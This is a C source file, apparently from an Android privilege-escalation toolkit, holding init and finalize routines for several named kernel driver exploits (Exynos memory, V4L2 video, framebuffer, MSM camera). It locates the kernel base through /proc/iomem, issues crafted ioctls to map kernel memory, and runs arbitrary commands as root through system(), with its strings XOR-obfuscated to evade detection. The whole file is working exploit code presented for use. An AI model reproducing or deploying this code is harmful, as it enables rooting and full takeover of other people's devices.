#include #include #include #include #include #include #include #include #include #include #include "headers/exploit.h" #include #define EXYNOS_MEM_PADDR_CACHE_FLUSH 0x40084dc9 // Defined as _IOW('M', 201, struct exynos_mem_flush_range) in exynos-mem.h #define VIDIOC_G_FMT 0xc0cc5604 // Defined as _IOWR('V', 4, struct v4l2_format) in videodev2.h #define VIDIOC_REQBUFS 0xc0145608 // Defined as _IOWR('V', 8, struct v4l2_requestbuffers) in videodev2.h #define VIDIOC_S_CTRL 0xc008561c // Defined as _IOWR('V', 28, struct v4l2_control) in videode2.h #define MSM_CAM_IOCTL_SET_MEM_MAP_INFO 0x80046d29 unsigned char* deobfuscate(unsigned char *s) { unsigned char key, mod, len; int i, j; unsigned char* d; key = s[0]; mod = s[1]; len = s[2] ^ key ^ mod; d = (unsigned char *)malloc(len + 1); // zero terminate the string memset(d, 0x00, len + 1); for (i = 0, j = 3; i < len; i++, j++) { d[i] = s[j] ^ mod; d[i] -= mod; d[i] ^= key; } d[len] = 0; return d; } int set_offset(struct exploit *exp) { FILE *fd; char *ptr; char line[512]; char *str; char *str2; unsigned long addr = 0; unsigned char proc_iomem[] = "\xd6\xad\x70\x0b\xfe\xfc\xcb\xcf\x0b\xc1\xcb\xc5\xcd\xc5"; // "/proc/iomem" unsigned char r[] = "\x26\xc5\xe2\xdc"; // "r" unsigned char colon1[] = "\x7d\x65\x19\xc9"; // ":" unsigned char colon2[] = "\x1f\x90\x8e\x25"; // ":" unsigned char dash[] = "\x21\x40\x60\x0c"; // "-" unsigned char kcode[] = "\x0c\xe7\xe0\xc9\xb7\x82\xae\xb7\xa0\xf4\xb1\xad\xa8\xb7"; // "Kernel code" unsigned char ktext[] = "\xec\x3c\xdb\xdf\xf9\xe6\x82\xf9\x80\x34\xe8\xf9\xec\xe8"; // "Kernel text" unsigned char sram[] = "\xf6\x07\xfb\xab\x91\x8b\x8e\x9d\xa5\xda\xac\xb9\xc5"; // "System RAM" /* Check /dev/iomem for "System RAM" symbol. */ /* Kernel code base address is our target. */ if(!exp) return 0; if(!(fd = fopen(deobfuscate(proc_iomem), deobfuscate(r)))) { //printf("Unable to open proc\n"); return 0; } while((ptr = fgets(line, sizeof(line), fd))) { str = strtok(ptr, deobfuscate(colon1)); if(str2 = strtok(0, deobfuscate(colon2))) { if(strstr(str2, deobfuscate(sram))) { str = strtok(str, deobfuscate(dash)); addr = strtoul(str, NULL ,16); if(ptr = fgets(line, sizeof(line), fd)) { if(strstr(line, deobfuscate(kcode)) || strstr(line, deobfuscate(ktext))) { break; } } } } } fclose(fd); if(!addr) return 0; // Update the value exp->offset = addr; return 1; } int sleep_func(struct exploit *exp) { sleep(5); return 1; } // Init function for ARAGORN exploit on /dev/video1 device int init_aragorn(struct exploit *exp) { int fd = exp->fd; unsigned long offset; struct v412_format { int type; char raw_data[200]; }; struct v4l2_requestbuffers { int count; int type; int memory; int reserved[2]; }; struct v4l2_control { int id; unsigned long *value; }; if(!fd) return 0; if(!set_offset(exp)) return 0; struct v412_format arg1; memset((void *) &arg1, 0, sizeof(arg1)); arg1.type = 2; // Video type = Video Output struct v4l2_requestbuffers arg2 = { 1, 2, // V4L2_BUF_TYPE_VIDEO_OUTPUT 0, 0, 0 }; offset = exp->offset; struct v4l2_control arg3 = {0x800000A, &offset}; // Device I/O specific request if(ioctl(fd, VIDIOC_G_FMT, &arg1)) { return 0; } if(ioctl(fd, VIDIOC_REQBUFS, &arg2)) { return 0; } if(ioctl(fd, VIDIOC_S_CTRL, &arg3)) { return 0; } exp->offset = 0; return 1; } // Finalize function for SAM and FRODO exploit on /dev/exynos-mem int finalize_exynos(struct exploit *exp) { struct exynos_mem_flush_range { unsigned long start; size_t length; }; unsigned long offset; offset = exp->offset; struct exynos_mem_flush_range args = {(unsigned long) &offset, exp->length}; if(exp->fd) { if(!ioctl(exp->fd, EXYNOS_MEM_PADDR_CACHE_FLUSH, &args)) return 1; } // Should be never reached return 0; } // Init func for FRODO exploit on /dev/exynos-mem int init_frodo(struct exploit *exp) { unsigned long offset; unsigned long new_offset; offset = exp->offset; if(!set_offset(exp)) return 0; new_offset = (exp->offset >> 2) + 1024; exp->start_offset = new_offset; exp->offset = offset; return 1; } // Init func for LEGOLAS exploit on /dev/graphics/fb0 int init_legolas(struct exploit *exp) { unsigned long offset; if(!set_offset(exp)) return 0; offset = exp->offset; exp->offset = 0; if(ioctl(exp->fd, 0x40044734, (void *) offset)) return 0; return 1; } // Pre init func for GANDALF exploit int pre_init_gandalf(struct exploit *exp) { int fd; unsigned char vid1[] = "\x28\xb9\x9a\x79\xbc\xbf\xae\x79\xae\x43\xbc\xbf\xb9\x68"; // "/dev/video0" unsigned char vid2[] = "\xbd\x68\xde\x92\x29\x28\x5b\x92\x5b\x54\x29\x28\x52\x9d"; // "/dev/video0" if(!set_offset(exp)) return 0; fd = open(deobfuscate(vid1), O_RDWR); if(fd < 0) return 0; exp->fd2 = fd; close(fd); fd = open(deobfuscate(vid2), O_RDWR); if(fd < 0) return 0; exp->fd2 = fd; return 1; } // Init func for GANDALF exploit int init_gandalf(struct exploit *exp) { struct msm_mem_map_info { unsigned long offset; int length; int mem_type; }; struct msm_mem_map_info args = {exp->offset, 0, 0}; exp->offset = 0; if(ioctl(exp->fd, MSM_CAM_IOCTL_SET_MEM_MAP_INFO, &args) < 0) return 0; return 1; } // Exec the payload as superuser void exec_payload(int args, char **cmd) { char exec[128]; int i; unsigned char s[] = "\x2e\xba\x96\x7f\xad"; // "%s" unsigned char ss[] = "\x0c\x8e\x87\x39\x83\x34\x39\x83"; // "%s %s" memset(exec, 0, sizeof(exec)); snprintf(exec, sizeof(exec), deobfuscate(s), cmd[1]); for(i = 2; i < args; i++) snprintf(exec, sizeof(exec), deobfuscate(ss), exec, cmd[i]); /* PUT HERE YOUR PRIVILEGED CODE TO BE EXECUTED */ system(exec); } .